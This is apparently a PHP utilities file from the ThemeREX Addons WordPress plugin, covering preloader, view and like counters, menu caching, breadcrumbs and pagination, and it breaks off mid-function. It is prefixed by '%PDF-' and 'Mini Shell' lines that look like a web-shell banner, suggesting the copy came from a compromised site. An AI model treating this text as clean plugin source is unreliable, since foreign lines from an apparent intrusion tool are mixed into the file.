%PDF-
%PDF-
Mini Shell
Mini Shell
<?php
/**
* WordPress utilities
*
* @package WordPress
* @subpackage ThemeREX Addons
* @since v1.0
*/
// Don't load directly
if ( ! defined( 'TRX_ADDONS_VERSION' ) ) {
die( '-1' );
}
/* Page preloader
------------------------------------------------------------------------------------- */
// Add plugin specific classes to the body tag
if ( !function_exists('trx_addons_body_classes') ) {
add_filter( 'body_class', 'trx_addons_body_classes' );
function trx_addons_body_classes( $classes ) {
if (!trx_addons_is_off(trx_addons_get_option('page_preloader')))
$classes[] = 'preloader';
if (is_front_page() && get_option('show_on_front')=='page' && get_option('page_on_front')>0)
$classes[] = 'frontpage';
return $classes;
}
}
// Add page preloader into body
if (!function_exists('trx_addons_add_page_preloader')) {
add_action('wp_footer', 'trx_addons_add_page_preloader', 1);
function trx_addons_add_page_preloader() {
if ( ($preloader=trx_addons_get_option('page_preloader')) != 'none' && ( $preloader != 'custom' || ($image=trx_addons_get_option('page_preloader_image')) != '')) {
?><div id="page_preloader"><?php
if ($preloader == 'circle') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_circ1"></div><div class="preloader_circ2"></div><div class="preloader_circ3"></div><div class="preloader_circ4"></div></div><?php
} else if ($preloader == 'square') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_square1"></div><div class="preloader_square2"></div></div><?php
}
?></div><?php
}
}
}
// Add page preloader styles into head
if (!function_exists('trx_addons_add_page_preloader_styles')) {
add_action('wp_head', 'trx_addons_add_page_preloader_styles');
function trx_addons_add_page_preloader_styles() {
if (($preloader=trx_addons_get_option('page_preloader'))!='none') {
?>
<style type="text/css">
<!--
#page_preloader {
<?php
$bg_color = trx_addons_get_option('page_preloader_bg_color');
if (!empty($bg_color)) {
?>background-color: <?php echo esc_attr($bg_color); ?> !important;<?php
}
$image = trx_addons_get_option('page_preloader_image');
if ($preloader=='custom' && !empty($image)) {
?>background-image: url(<?php echo esc_url($image); ?>);<?php
}
?>
}
-->
</style>
<?php
}
}
}
/* Scroll to top button
------------------------------------------------------------------------------------- */
// Add button into body
if (!function_exists('trx_addons_add_scroll_to_top')) {
add_action('wp_footer', 'trx_addons_add_scroll_to_top', 100);
function trx_addons_add_scroll_to_top() {
if (trx_addons_is_on(trx_addons_get_option('scroll_to_top'))) {
?><a href="#" class="trx_addons_scroll_to_top trx_addons_icon-up" title="<?php esc_attr_e('Scroll to top', 'trx_addons'); ?>"></a><?php
}
}
}
/* Post views and likes
-------------------------------------------------------------------------------- */
//Return Post Views number
if (!function_exists('trx_addons_get_post_views')) {
function trx_addons_get_post_views($id=0){
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$count_key = 'trx_addons_post_views_count';
$count = get_post_meta($id, $count_key, true);
if ($count===''){
delete_post_meta($id, $count_key);
add_post_meta($id, $count_key, '0');
$count = 0;
}
} else
$count = 0;
return $count;
}
}
//Set Post Views number
if (!function_exists('trx_addons_set_post_views')) {
function trx_addons_set_post_views($id=0, $counter=-1) {
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$count_key = 'trx_addons_post_views_count';
$count = get_post_meta($id, $count_key, true);
if ($count===''){
delete_post_meta($id, $count_key);
add_post_meta($id, $count_key, 1);
} else {
$count = $counter >= 0 ? $counter : $count+1;
update_post_meta($id, $count_key, $count);
}
}
}
}
// Increment Post Views number
if (!function_exists('trx_addons_inc_post_views')) {
function trx_addons_inc_post_views($id=0, $inc=0) {
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$count_key = 'trx_addons_post_views_count';
$count = get_post_meta($id, $count_key, true);
if ($count===''){
$count = max(0, $inc);
delete_post_meta($id, $count_key);
add_post_meta($id, $count_key, $count);
} else {
$count += $inc;
update_post_meta($id, $count_key, $count);
}
} else
$count = 0;
return $count;
}
}
//Return Post Likes number
if (!function_exists('trx_addons_get_post_likes')) {
function trx_addons_get_post_likes($id=0){
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$count_key = 'trx_addons_post_likes_count';
$count = get_post_meta($id, $count_key, true);
if ($count===''){
delete_post_meta($id, $count_key);
add_post_meta($id, $count_key, '0');
$count = 0;
}
} else
$count = 0;
return $count;
}
}
//Set Post Likes number
if (!function_exists('trx_addons_set_post_likes')) {
function trx_addons_set_post_likes($id=0, $counter=-1) {
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$count_key = 'trx_addons_post_likes_count';
$count = get_post_meta($id, $count_key, true);
if ($count===''){
delete_post_meta($id, $count_key);
add_post_meta($id, $count_key, 1);
} else {
$count = $counter >= 0 ? $counter : $count+1;
update_post_meta($id, $count_key, $count);
}
}
}
}
// Increment Post Likes number
if (!function_exists('trx_addons_inc_post_likes')) {
function trx_addons_inc_post_likes($id=0, $inc=0) {
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$count_key = 'trx_addons_post_likes_count';
$count = get_post_meta($id, $count_key, true);
if ($count===''){
$count = max(0, $inc);
delete_post_meta($id, $count_key);
add_post_meta($id, $count_key, $count);
} else {
$count += $inc;
update_post_meta($id, $count_key, $count);
}
} else
$count = $inc;
return $count;
}
}
// Set post likes/views counters when save/publish post
if ( !function_exists( 'trx_addons_init_post_counters' ) ) {
add_action('save_post', 'trx_addons_init_post_counters');
function trx_addons_init_post_counters($id) {
global $post_type, $post;
// check autosave
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
return $id;
}
// check permissions
if (empty($post_type) || !current_user_can('edit_'.$post_type, $id)) {
return $id;
}
if ( !empty($post->ID) && $id==$post->ID ) {
trx_addons_get_post_views($id);
trx_addons_get_post_likes($id);
}
}
}
// AJAX: Set post likes/views number
if ( !function_exists( 'trx_addons_callback_post_counter' ) ) {
add_action('wp_ajax_post_counter', 'trx_addons_callback_post_counter');
add_action('wp_ajax_nopriv_post_counter', 'trx_addons_callback_post_counter');
function trx_addons_callback_post_counter() {
if ( !wp_verify_nonce( trx_addons_get_value_gp('nonce'), admin_url('admin-ajax.php') ) )
die();
$response = array('error'=>'', 'counter' => 0);
$id = (int) $_REQUEST['post_id'];
if (isset($_REQUEST['likes'])) {
$response['counter'] = trx_addons_inc_post_likes($id, (int) $_REQUEST['likes']);
} else if (isset($_REQUEST['views'])) {
$response['counter'] = trx_addons_inc_post_views($id, (int) $_REQUEST['views']);
}
echo json_encode($response);
die();
}
}
// Increment views counter via AJAX
if ( !function_exists( 'trx_addons_inc_views_ajax' ) ) {
add_filter("trx_addons_localize_script", 'trx_addons_add_views_vars');
function trx_addons_add_views_vars($vars) {
$vars['ajax_views'] = (int) trx_addons_get_option('ajax_views') == 1 && is_singular();
return $vars;
}
}
// Increment views counter via PHP
if ( !function_exists( 'trx_addons_inc_views_php' ) ) {
add_action("wp_head", 'trx_addons_inc_views_php');
function trx_addons_inc_views_php() {
if ((int) trx_addons_get_option('ajax_views') == 0) trx_addons_inc_post_views(get_the_ID(), 1);
}
}
// Return post likes/views counter layout
if ( !function_exists( 'trx_addons_get_post_counters' ) ) {
function trx_addons_get_post_counters($counters='views', $show=false) {
$post_id = get_the_ID();
$output = '';
$components = explode(',', $counters);
foreach ($components as $comp) {
if ($comp == 'comments') {
if (!is_singular() || have_comments() || comments_open()) {
$post_comments = get_comments_number();
$output .= ' <a href="'.esc_url(get_comments_link()).'" class="post_counters_item post_counters_comments trx_addons_icon-comment">'
. '<span class="post_counters_number">' . trim($post_comments) . '</span>'
. '<span class="post_counters_label">' . _n( 'Comment', 'Comments', $post_comments, 'trx_addons' ) . '</span>'
.'</a> ';
}
} else if ($comp == 'views') {
$post_views = trx_addons_get_post_views($post_id);
$output .= ' <a href="' . esc_url(get_permalink()) . '" class="post_counters_item post_counters_views trx_addons_icon-eye">'
. '<span class="post_counters_number">' . trim($post_views) . '</span>'
. '<span class="post_counters_label">' . _n( 'View', 'Views', $post_views, 'trx_addons' ) . '</span>'
. '</a> ';
} else if ($comp == 'likes') {
$post_likes = trx_addons_get_post_likes($post_id);
$likes = isset($_COOKIE['trx_addons_likes']) ? $_COOKIE['trx_addons_likes'] : '';
$allow = strpos($likes, ','.($post_id).',')===false;
$output .= ' <a href="#" class="post_counters_item post_counters_likes trx_addons_icon-heart'.(!empty($allow) ? '-empty enabled' : ' disabled').'"
title="'.(!empty($allow) ? esc_attr__('Like', 'trx_addons') : esc_attr__('Dislike', 'trx_addons')).'"
data-postid="' . esc_attr($post_id) . '"
data-likes="' . esc_attr($post_likes) . '"
data-title-like="' . esc_attr__('Like', 'trx_addons') . '"
data-title-dislike="' . esc_attr__('Dislike', 'trx_addons') . '">'
. '<span class="post_counters_number">' . trim($post_likes) . '</span>'
. '<span class="post_counters_label">' . _n( 'Like', 'Likes', $post_likes, 'trx_addons' ) . '</span>'
. '</a> ';
}
}
if ($show) trx_addons_show_layout($output);
return $output;
}
}
/* Comment's likes
-------------------------------------------------------------------------------- */
//Return Comment's Likes number
if (!function_exists('trx_addons_get_comment_likes')) {
function trx_addons_get_comment_likes($id=0){
if (!$id) $id = get_comment_ID();
$count_key = 'trx_addons_comment_likes_count';
$count = get_comment_meta($id, $count_key, true);
if ($count===''){
delete_comment_meta($id, $count_key);
add_comment_meta($id, $count_key, '0');
$count = 0;
}
return $count;
}
}
//Set Comment's Likes number
if (!function_exists('trx_addons_set_comment_likes')) {
function trx_addons_set_comment_likes($id=0, $counter=-1) {
if (!$id) $id = get_comment_ID();
$count_key = 'trx_addons_comment_likes_count';
$count = get_post_meta($id, $count_key, true);
if ($count===''){
delete_comment_meta($id, $count_key);
add_comment_meta($id, $count_key, 1);
} else {
$count = $counter >= 0 ? $counter : $count+1;
update_comment_meta($id, $count_key, $count);
}
}
}
// Increment Post Likes number
if (!function_exists('trx_addons_inc_comment_likes')) {
function trx_addons_inc_comment_likes($id=0, $inc=0) {
if (!$id) $id = get_comment_ID();
$count_key = 'trx_addons_comment_likes_count';
$count = get_comment_meta($id, $count_key, true);
if ($count===''){
$count = max(0, $inc);
delete_comment_meta($id, $count_key);
add_comment_meta($id, $count_key, $count);
} else {
$count += $inc;
update_comment_meta($id, $count_key, $count);
}
return $count;
}
}
// Set comment likes counter when save/publish post
if ( !function_exists( 'trx_addons_init_comment_counters' ) ) {
add_action('comment_post', 'trx_addons_init_comment_counters', 10, 2);
function trx_addons_init_comment_counters($id, $status='') {
if ( !empty($id) ) {
trx_addons_get_comment_likes($id);
}
}
}
// AJAX: Set comment likes number
if ( !function_exists( 'trx_addons_callback_comment_counter' ) ) {
add_action('wp_ajax_comment_counter', 'trx_addons_callback_comment_counter');
add_action('wp_ajax_nopriv_comment_counter','trx_addons_callback_comment_counter');
function trx_addons_callback_comment_counter() {
if ( !wp_verify_nonce( trx_addons_get_value_gp('nonce'), admin_url('admin-ajax.php') ) )
die();
$response = array('error'=>'', 'counter' => 0);
$id = (int) $_REQUEST['post_id'];
if (isset($_REQUEST['likes'])) {
$response['counter'] = trx_addons_inc_comment_likes($id, (int) $_REQUEST['likes']);
}
echo json_encode($response);
die();
}
}
// Return post likes/views counter layout
if ( !function_exists( 'trx_addons_get_comment_counters' ) ) {
function trx_addons_get_comment_counters($counters='likes', $show=false) {
$comment_id = get_comment_ID();
$output = '';
if (strpos($counters, 'likes')!==false) {
$comment_likes = trx_addons_get_comment_likes($comment_id);
$likes = isset($_COOKIE['trx_addons_comment_likes']) ? $_COOKIE['trx_addons_comment_likes'] : '';
$allow = strpos($likes, ','.($comment_id).',')===false;
$output .= '<a href="#" class="comment_counters_item comment_counters_likes trx_addons_icon-heart'.(!empty($allow) ? '-empty enabled' : ' disabled').'"
title="'.(!empty($allow) ? esc_attr__('Like', 'trx_addons') : esc_attr__('Dislike', 'trx_addons')).'"
data-commentid="' . esc_attr($comment_id) . '"
data-likes="' . esc_attr($comment_likes) . '"
data-title-like="' . esc_attr__('Like', 'trx_addons') . '"
data-title-dislike="' . esc_attr__('Dislike', 'trx_addons') . '">'
. '<span class="comment_counters_number">' . trim($comment_likes) . '</span>'
. '<span class="comment_counters_label">' . esc_html__('Likes', 'trx_addons') . '</span>'
. '</a>';
}
if ($show) trx_addons_show_layout($output);
return $output;
}
}
/* Menu utilities
------------------------------------------------------------------------------------- */
// Return nav menu html
if ( !function_exists( 'trx_addons_get_nav_menu' ) ) {
function trx_addons_get_nav_menu($location='', $menu='', $depth=11, $custom_walker=false) {
static $list = array();
$slug = $location.'_'.$menu;
if (empty($list[$slug])) {
$args = array(
'menu' => empty($menu) || $menu=='default' || trx_addons_is_inherit($menu) ? '' : $menu,
'container' => '',
'container_class' => '',
'container_id' => '',
'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
'menu_class' => 'sc_layouts_menu_nav' . (!empty($location) ? ' '.$location.'_nav' : ''),
'menu_id' => (!empty($location) ? $location : ''),
'echo' => false,
'fallback_cb' => '',
'before' => '',
'after' => '',
'link_before' => '<span>',
'link_after' => '</span>',
'depth' => $depth
);
if (!empty($location))
$args['theme_location'] = $location;
if ($custom_walker && class_exists('trx_addons_custom_menu_walker'))
$args['walker'] = new trx_addons_custom_menu_walker;
// Remove empty spaces between menu items
$list[$slug] = preg_replace(array("/>[\r\n\s]*<li/", "/>[\r\n\s]*<\\/ul>/"),
array("><li", "></ul>"),
wp_nav_menu(apply_filters('trx_addons_filter_get_nav_menu_args', $args))
);
}
return apply_filters('trx_addons_filter_get_nav_menu', $list[$slug], $location, $menu);
}
}
// Add menu to the cache
if ( !function_exists( 'trx_addons_add_menu_cache' ) ) {
add_action('wp_nav_menu', 'trx_addons_add_menu_cache', 100, 2);
function trx_addons_add_menu_cache($html='', $args=array()) {
if (trx_addons_is_on(trx_addons_get_option('menu_cache')) && !trx_addons_exists_wpml()) {
$menu_cache = 'trx_addons_menu_'.get_option('stylesheet');
$list = get_transient($menu_cache);
if (empty($list)) $list = array();
$menu = !empty($args->theme_location)
? $args->theme_location
: (!empty($args->menu)
? (!empty($args->menu->slug)
? $args->menu->slug
: $args->menu
)
: 'default'
);
$list[$menu] = $html;
set_transient($menu_cache, $list, 60*60);
}
return $html;
}
}
// Clear cache with saved menu
if ( !function_exists( 'trx_addons_clear_menu_cache' ) ) {
add_action('wp_update_nav_menu', 'trx_addons_clear_menu_cache', 10, 2);
function trx_addons_clear_menu_cache($menu_id=0, $menu_data=array()) {
delete_transient('trx_addons_menu_'.get_option('stylesheet'));
}
}
// Return menu from the cache
if ( !function_exists( 'trx_addons_get_menu_cache' ) ) {
add_action('pre_wp_nav_menu', 'trx_addons_get_menu_cache', 100, 2);
function trx_addons_get_menu_cache($html, $args) {
if (trx_addons_is_on(trx_addons_get_option('menu_cache')) && !trx_addons_exists_wpml()) {
$menu_cache = 'trx_addons_menu_'.get_option('stylesheet');
$list = get_transient($menu_cache);
$menu = !empty($args->theme_location)
? $args->theme_location
: (!empty($args->menu)
? (!empty($args->menu->slug)
? $args->menu->slug
: $args->menu
)
: 'default'
);
if (!empty($list[$menu])) {
$html = $list[$menu];
global $TRX_ADDONS_STORAGE;
if (!isset($TRX_ADDONS_STORAGE['menu_cache'])) $TRX_ADDONS_STORAGE['menu_cache'] = array();
$TRX_ADDONS_STORAGE['menu_cache'][] = !empty($args->menu_id) ? '#'.esc_attr($args->menu_id) : '.'.esc_attr($args->menu_class);
}
}
return $html;
}
}
// Add cached menu selectors to the js vars
if ( !function_exists( 'trx_addons_add_menu_cache_to_js' ) ) {
add_filter('trx_addons_localize_script', 'trx_addons_add_menu_cache_to_js');
function trx_addons_add_menu_cache_to_js($vars) {
global $TRX_ADDONS_STORAGE;
$vars['menu_cache'] = apply_filters('trx_addons_filter_menu_cache', !empty($TRX_ADDONS_STORAGE['menu_cache']) ? $TRX_ADDONS_STORAGE['menu_cache'] : array());
return $vars;
}
}
/* Widgets utilities
------------------------------------------------------------------------------------- */
// Prepare widgets args - substitute id and class in parameter 'before_widget'
if (!function_exists('trx_addons_prepare_widgets_args')) {
function trx_addons_prepare_widgets_args($args, $id, $class) {
if (!empty($args['before_widget'])) $args['before_widget'] = str_replace(array('%1$s', '%2$s'), array($id, $class), $args['before_widget']);
return $args;
}
}
/* Breadcrumbs
------------------------------------------------------------------------------------- */
// Action handler to show breadcrumbs
if (!function_exists('trx_addons_action_breadcrumbs')) {
add_action( 'trx_addons_action_breadcrumbs', 'trx_addons_action_breadcrumbs', 10, 2);
function trx_addons_action_breadcrumbs($before='', $after='') {
if (($fdir = trx_addons_get_file_dir('templates/tpl.breadcrumbs.php')) != '') {
include $fdir;
}
}
}
// Show breadcrumbs path
if (!function_exists('trx_addons_get_breadcrumbs')) {
function trx_addons_get_breadcrumbs($args=array()) {
global $wp_query, $post;
$args = array_merge( array(
'home' => esc_html__('Home', 'trx_addons'), // Home page title (if empty - not showed)
'home_link' => '', // Home page link
'truncate_title' => 50, // Truncate all titles to this length (if 0 - no truncate)
'truncate_add' => '...', // Append truncated title with this string
'delimiter' => '<span class="breadcrumbs_delimiter"></span>', // Delimiter between breadcrumbs items
'max_levels' => trx_addons_get_option('breadcrumbs_max_level') // Max categories in the path (0 - unlimited)
), is_array($args) ? $args : array( 'home' => $args )
);
if ( is_front_page() ) return '';//is_home() ||
if ( $args['max_levels']<=0 ) $args['max_levels'] = 999;
$level = 1 + (isset($args['home']) && $args['home']!='' ? 1 : 0); // Current element + Home
$rez = $rez_all = $rez_parent = $rez_level = '';
// Get link to the 'All posts (products, events, etc.)' page
if ($level >= $args['max_levels'])
$rez_level = '...';
else {
$rez_all = apply_filters('trx_addons_filter_get_blog_all_posts_link', '', $args);
if (!empty($rez_all)) $level++; // All posts
}
$cat = $parent_tax = '';
$parent = $post_id = 0;
// Get current post ID and path to current post/page/attachment ( if it have parent posts/pages )
if (is_page() || is_attachment() || is_single()) {
$page_parent_id = apply_filters('trx_addons_filter_get_parent_id', isset($wp_query->post->post_parent) ? $wp_query->post->post_parent : 0, isset($wp_query->post->ID) ? $wp_query->post->ID : 0);
$post_id = (is_attachment() ? $page_parent_id : (isset($wp_query->post->ID) ? $wp_query->post->ID : 0));
while ($page_parent_id > 0) {
$page_parent = get_post($page_parent_id);
if ($level >= $args['max_levels'])
$rez_level = '...';
else {
$rez_parent = '<a class="breadcrumbs_item cat_post" href="' . esc_url(get_permalink($page_parent_id)) . '">'
. esc_html(trx_addons_strshort($page_parent->post_title, $args['truncate_title'], $args['truncate_add']))
. '</a>'
. (!empty($rez_parent) ? $args['delimiter'] : '')
. ($rez_parent);
$level++;
}
if (($page_parent_id = apply_filters('trx_addons_filter_get_parent_id', $page_parent->post_parent, $page_parent_id)) > 0) $post_id = $page_parent_id;
}
}
// Show parents
$step = 0;
do {
if ($step++ == 0) {
if (is_single() || is_attachment()) {
$post_type = get_post_type();
if ($post_type == 'post') {
$cats = get_the_category();
$cat = !empty($cats[0]) ? $cats[0] : false;
} else {
$tax = trx_addons_get_post_type_taxonomy($post_type);
if (!empty($tax)) {
$cats = get_the_terms(get_the_ID(), $tax);
$cat = !empty($cats[0]) ? $cats[0] : false;
}
}
if ($cat) {
if ($level >= $args['max_levels'])
$rez_level = '...';
else {
$rez_parent = '<a class="breadcrumbs_item cat_post" href="'.esc_url(get_category_link($cat->term_id)).'">'
. esc_html(trx_addons_strshort($cat->name, $args['truncate_title'], $args['truncate_add']))
. '</a>'
. (!empty($rez_parent) ? $args['delimiter'] : '')
. ($rez_parent);
$level++;
}
}
} else if ( is_category() ) {
$cat_id = (int) get_query_var( 'cat' );
if (empty($cat_id)) $cat_id = get_query_var( 'category_name' );
$cat = get_term_by( (int) $cat_id > 0 ? 'id' : 'slug', $cat_id, 'category', OBJECT);
} else if ( is_tag() ) {
$cat = get_term_by( 'slug', get_query_var( 'post_tag' ), 'post_tag', OBJECT);
} else if ( is_tax() ) {
// $tax = get_query_var('taxonomy');
// $cat = get_term_by( 'slug', get_query_var( $tax ), $tax, OBJECT);
$cat = $wp_query->get_queried_object();
}
if ($cat) {
$parent = $cat->parent;
$parent_tax = $cat->taxonomy;
}
}
if ($parent) {
$cat = get_term_by( 'id', $parent, $parent_tax, OBJECT);
if ($cat) {
$cat_link = get_term_link($cat->slug, $cat->taxonomy);
if ($level >= $args['max_levels'])
$rez_level = '...';
else {
$rez_parent = '<a class="breadcrumbs_item cat_parent" href="'.esc_url($cat_link).'">'
. esc_html(trx_addons_strshort($cat->name, $args['truncate_title'], $args['truncate_add']))
. '</a>'
. (!empty($rez_parent) ? $args['delimiter'] : '')
. ($rez_parent);
$level++;
}
$parent = $cat->parent;
}
}
} while ($parent);
$rez_parent = apply_filters('trx_addons_filter_get_parents_links', $rez_parent, $args);
$rez_period = '';
if ((is_day() || is_month()) && is_object($post)) {
$year = get_the_time('Y');
$month = get_the_time('m');
$rez_period = '<a class="breadcrumbs_item cat_parent" href="' . get_year_link( $year ) . '">' . ($year) . '</a>';
if (is_day())
$rez_period .= (!empty($rez_period) ? $args['delimiter'] : '') . '<a class="breadcrumbs_item cat_parent" href="' . esc_url(get_month_link( $year, $month )) . '">' . esc_html(get_the_date('F')) . '</a>';
}
if (!is_front_page()) { // && !is_home()
$title = trx_addons_get_blog_title();
if (is_array($title)) $title = $title['text'];
$title = trx_addons_strshort($title, $args['truncate_title'], $args['truncate_add']);
$rez .= (isset($args['home']) && $args['home']!=''
? '<a class="breadcrumbs_item home" href="' . esc_url($args['home_link'] ? $args['home_link'] : home_url('/')) . '">' . ($args['home']) . '</a>' . ($args['delimiter'])
: '')
. (!empty($rez_all) ? ($rez_all) . ($args['delimiter']) : '')
. (!empty($rez_level) ? ($rez_level) . ($args['delimiter']) : '')
. (!empty($rez_parent) ? ($rez_parent) . ($args['delimiter']) : '')
. (!empty($rez_period) ? ($rez_period) . ($args['delimiter']) : '')
. ($title ? '<span class="breadcrumbs_item current">' . ($title) . '</span>' : '');
}
return apply_filters('trx_addons_filter_get_breadcrumbs', $rez);
}
}
// Return link to the main posts page for the breadcrumbs
if ( !function_exists( 'trx_addons_get_blog_all_posts_link' ) ) {
add_filter( 'trx_addons_filter_get_blog_all_posts_link', 'trx_addons_get_blog_all_posts_link', 10, 2);
function trx_addons_get_blog_all_posts_link($link='', $args=array()) {
if ($link=='') {
if (trx_addons_is_posts_page() && !is_home()) //!is_post_type_archive('post'))
$link = '<a href="'.esc_url(get_post_type_archive_link( 'post' )).'">'.esc_html__('All Posts', 'trx_addons').'</a>';
}
if (is_singular('tribe_events')) {
if (($url = get_post_type_archive_link( 'tribe_events' )) != '') {
$obj = get_post_type_object( 'tribe_events' );
$link = '<a href="'.esc_url($url).'">' . esc_html($obj->labels->all_items) . '</a>';
}
}
return $link;
}
}
// Return true if it's 'posts' page
if ( !function_exists( 'trx_addons_is_posts_page' ) ) {
function trx_addons_is_posts_page() {
return !is_search()
&& (
(is_single() && get_post_type()=='post')
|| is_category()
);
}
}
// Return blog title
if (!function_exists('trx_addons_get_blog_title')) {
function trx_addons_get_blog_title() {
if (is_front_page())
$title = esc_html__( 'Home', 'trx_addons' );
else if ( is_home() )
$title = esc_html__( 'All Posts', 'trx_addons' );
else if ( is_author() ) {
$curauth = (get_query_var('author_name')) ? get_user_by('slug', get_query_var('author_name')) : get_userdata(get_query_var('author'));
$title = sprintf(esc_html__('Author page: %s', 'trx_addons'), $curauth->display_name);
} else if ( is_404() )
$title = esc_html__('URL not found', 'trx_addons');
else if ( is_search() )
$title = sprintf( esc_html__( 'Search: %s', 'trx_addons' ), get_search_query() );
else if ( is_day() )
$title = sprintf( esc_html__( 'Daily Archives: %s', 'trx_addons' ), get_the_date() );
else if ( is_month() )
$title = sprintf( esc_html__( 'Monthly Archives: %s', 'trx_addons' ), get_the_date( 'F Y' ) );
else if ( is_year() )
$title = sprintf( esc_html__( 'Yearly Archives: %s', 'trx_addons' ), get_the_date( 'Y' ) );
else if ( is_category() )
$title = sprintf( esc_html__( '%s', 'trx_addons' ), single_cat_title( '', false ) );
else if ( is_tag() )
$title = sprintf( esc_html__( 'Tag: %s', 'trx_addons' ), single_tag_title( '', false ) );
else if ( is_tax() ) {
// global $wp_query;
// $cat = $wp_query->get_queried_object();
// $tax = get_taxonomy( $cat->taxonomy );
// $title = sprintf( esc_html__( '%s: %s', 'trx_addons' ), $tax->labels->name, single_term_title( '', false ) );
$title = single_term_title( '', false );
} else if ( is_attachment() )
$title = sprintf( esc_html__( 'Attachment: %s', 'trx_addons' ), get_the_title());
else if ( is_single() || is_page() )
$title = get_the_title();
else
$title = get_the_title(); //get_bloginfo('name', 'raw');
return apply_filters('trx_addons_filter_get_blog_title', $title);
}
}
/* Blog pagination
------------------------------------------------------------------------------------- */
// Show simple pagination
if ( !function_exists('trx_addons_show_pagination') ) {
function trx_addons_show_pagination($pagination='pages') {
global $wp_query;
// Pagination
if ($pagination == 'pages') {
the_posts_pagination( array(
'mid_size' => 2,
'prev_text' => esc_html__( '<', 'trx_addons' ),
'next_text' => esc_html__( '>', 'trx_addons' ),
'before_page_number' => '<span class="meta-nav screen-reader-text">' . esc_html__( 'Page', 'trx_addons' ) . ' </span>',
) );
} else if ($pagination == 'links') {
?>
<div class="nav-links-old">
<span class="nav-prev"><?php previous_posts_link( is_search() ? esc_html__('Previous posts', 'trx_addons') : esc_html__('Newest posts', 'trx_addons') ); ?></span>
<span class="nav-next"><?php next_posts_link( is_search() ? esc_html__('Next posts', 'trx_addons') : esc_html__('Older posts', 'trx_addons'), $wp_query->max_num_pages ); ?></span>
</div>
<?php
}
}
}
// Show pagination with group pages: [1-10][11-20]...[24][25][26]...[31-40][41-45]
if (!function_exists('trx_addons_pagination')) {
function trx_addons_pagination($args=array()) {
$args = array_merge(array(
'class' => '', // Additional 'class' attribute for the pagination section
'button_class' => '', // Additional 'class' attribute for the each page button
'base_link' => '', // Base link for each page. If specified - all pages use it and add '&page=XX' to the end of this link. Else - use get_pagenum_link()
'total_posts' => 0, // Total posts number
'posts_per_page' => 0, // Posts per page
'total_pages' => 0, // Total pages (instead total_posts, otherwise - calculate number of pages)
'cur_page' => 0, // Current page
'near_pages' => 2, // Number of pages to be displayed before and after the current page
'group_pages' => 10, // How many pages in group
'pages_text' => '', //__('Page %CURRENT_PAGE% of %TOTAL_PAGES%', 'trx_addons'),
'cur_text' => "%PAGE_NUMBER%",
'page_text' => "%PAGE_NUMBER%",
'first_text'=> __('« First', 'trx_addons'),
'last_text' => __("Last »", 'trx_addons'),
'prev_text' => __("« Prev", 'trx_addons'),
'next_text' => __("Next »", 'trx_addons'),
'dot_text' => "…",
'before' => '',
'after' => ''
), is_array($args) ? $args
: (is_int($args) ? array( 'cur_page' => $args ) // If send number parameter - use it as offset
: array( 'class' => $args ))); // If send string parameter - use it as 'class' name
if (empty($args['before'])) $args['before'] = '<div class="trx_addons_pagination'.(!empty($args['class']) ? ' '.$args['class'] : '').'">';
if (empty($args['after'])) $args['after'] = '</div>';
extract($args);
global $wp_query;
// Detect total pages
if ($total_pages == 0) {
if ($total_posts == 0) $total_posts = $wp_query->found_posts;
if ($posts_per_page == 0) $posts_per_page = (int) get_query_var('posts_per_page');
$total_pages = ceil($total_posts / $posts_per_page);
}
if ($total_pages < 2) return;
// Detect current page
if ($cur_page == 0) {
$cur_page = (int) get_query_var('paged');
if ($cur_page == 0) $cur_page = (int) get_query_var('page');
if ($cur_page <= 0) $cur_page = 1;
}
// Near pages
$show_pages_start = $cur_page - $near_pages;
$show_pages_end = $cur_page + $near_pages;
// Current group
$cur_group = ceil($cur_page / $group_pages);
$output = $before;
// Page XX from XXX
if ($pages_text) {
$pages_text = str_replace(
array("%CURRENT_PAGE%", "%TOTAL_PAGES%"),
array(number_format_i18n($cur_page),number_format_i18n($total_pages)),
$pages_text);
$output .= '<span class="'.esc_attr($class).'_pages '.$button_class.'">' . $pages_text . '</span>';
}
if ($cur_page > 1) {
// First page
$first_text = str_replace("%TOTAL_PAGES%", number_format_i18n($total_pages), $first_text);
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page=1' : get_pagenum_link()).'" data-page="1" class="'.esc_attr($class).'_first '.$button_class.'">'.$first_text.'</a>';
// Prev page
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($cur_page-1) : get_pagenum_link($cur_page-1)).'" data-page="'.esc_attr($cur_page-1).'" class="'.esc_attr($class).'_prev '.$button_class.'">'.$prev_text.'</a>';
}
// Page buttons
$group = 1;
$dot1 = $dot2 = false;
for ($i = 1; $i <= $total_pages; $i++) {
if ($i % $group_pages == 1) {
$group = ceil($i / $group_pages);
if ($group != $cur_group)
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.$i : get_pagenum_link($i)).'" data-page="'.esc_attr($i).'" class="'.esc_attr($class).'_group '.$button_class.'">'.$i.'-'.min($i+$group_pages-1, $total_pages).'</a>';
}
if ($group == $cur_group) {
if ($i < $show_pages_start) {
if (!$dot1) {
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($show_pages_start-1) : get_pagenum_link($show_pages_start-1)).'" data-page="'.esc_attr($show_pages_start-1).'" class="'.esc_attr($class).'_dot '.$button_class.'">'.$dot_text.'</a>';
$dot1 = true;
}
} else if ($i > $show_pages_end) {
if (!$dot2) {
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($show_pages_end+1) : get_pagenum_link($show_pages_end+1)).'" data-page="'.esc_attr($show_pages_end+1).'" class="'.esc_attr($class).'_dot '.$button_class.'">'.$dot_text.'</a>';
$dot2 = true;
}
} else if ($i == $cur_page) {
$cur_text = str_replace("%PAGE_NUMBER%", number_format_i18n($i), $cur_text);
$output .= '<span class="'.esc_attr($class).'_current active '.$button_class.'">'.$cur_text.'</span>';
} else {
$text = str_replace("%PAGE_NUMBER%", number_format_i18n($i), $page_text);
